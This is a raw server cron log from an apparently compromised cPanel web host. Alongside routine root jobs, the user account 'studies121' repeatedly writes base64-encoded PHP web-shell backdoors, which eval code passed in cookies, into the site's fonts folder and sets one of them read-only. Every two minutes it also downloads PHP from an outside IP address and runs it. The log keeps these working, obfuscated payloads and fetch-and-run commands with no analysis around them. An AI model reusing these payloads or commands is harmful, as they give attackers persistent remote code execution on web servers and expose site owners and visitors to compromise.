Sep  6 09:01:01 ip-184-168-122-23 CROND[13507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:01:01 ip-184-168-122-23 CROND[13510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:01:01 ip-184-168-122-23 CROND[13512]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 09:01:01 ip-184-168-122-23 CROND[13516]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 09:01:01 ip-184-168-122-23 CROND[13517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13516]: starting 0anacron
Sep  6 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13528]: finished 0anacron
Sep  6 09:02:01 ip-184-168-122-23 CROND[13655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:02:01 ip-184-168-122-23 CROND[13660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:02:01 ip-184-168-122-23 CROND[13658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:02:01 ip-184-168-122-23 CROND[13659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:02:01 ip-184-168-122-23 CROND[13657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:03:01 ip-184-168-122-23 CROND[13760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:03:01 ip-184-168-122-23 CROND[13762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:03:01 ip-184-168-122-23 CROND[13763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:03:01 ip-184-168-122-23 CROND[13764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:04:01 ip-184-168-122-23 CROND[13859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:04:01 ip-184-168-122-23 CROND[13860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:04:01 ip-184-168-122-23 CROND[13862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:04:01 ip-184-168-122-23 CROND[13864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:04:01 ip-184-168-122-23 CROND[13865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:05:01 ip-184-168-122-23 CROND[13962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:05:01 ip-184-168-122-23 CROND[13966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:05:01 ip-184-168-122-23 CROND[13967]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 09:05:01 ip-184-168-122-23 CROND[13969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:05:01 ip-184-168-122-23 CROND[13968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:05:01 ip-184-168-122-23 CROND[13970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:05:01 ip-184-168-122-23 CROND[13974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:06:02 ip-184-168-122-23 CROND[14064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:06:02 ip-184-168-122-23 CROND[14067]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:06:02 ip-184-168-122-23 CROND[14066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:06:02 ip-184-168-122-23 CROND[14068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:06:02 ip-184-168-122-23 CROND[14069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:07:01 ip-184-168-122-23 CROND[14174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:07:01 ip-184-168-122-23 CROND[14175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:07:01 ip-184-168-122-23 CROND[14176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:07:01 ip-184-168-122-23 CROND[14177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:08:01 ip-184-168-122-23 CROND[14281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:08:01 ip-184-168-122-23 CROND[14282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:08:01 ip-184-168-122-23 CROND[14284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:08:01 ip-184-168-122-23 CROND[14285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:08:01 ip-184-168-122-23 CROND[14286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:09:02 ip-184-168-122-23 CROND[14388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:09:02 ip-184-168-122-23 CROND[14390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:09:02 ip-184-168-122-23 CROND[14392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:09:02 ip-184-168-122-23 CROND[14391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:09:02 ip-184-168-122-23 CROND[14393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 09:10:02 ip-184-168-122-23 CROND[14742]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:10:02 ip-184-168-122-23 CROND[14745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:10:02 ip-184-168-122-23 CROND[14747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:10:02 ip-184-168-122-23 CROND[14752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:10:02 ip-184-168-122-23 CROND[14748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:10:02 ip-184-168-122-23 CROND[14750]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:10:02 ip-184-168-122-23 CROND[14753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:10:02 ip-184-168-122-23 CROND[14749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:11:01 ip-184-168-122-23 CROND[14864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:11:01 ip-184-168-122-23 CROND[14863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:11:01 ip-184-168-122-23 CROND[14866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:11:01 ip-184-168-122-23 CROND[14865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:12:01 ip-184-168-122-23 CROND[14955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:12:01 ip-184-168-122-23 CROND[14957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:12:01 ip-184-168-122-23 CROND[14958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:12:01 ip-184-168-122-23 CROND[14963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:12:01 ip-184-168-122-23 CROND[14962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:13:01 ip-184-168-122-23 CROND[15053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
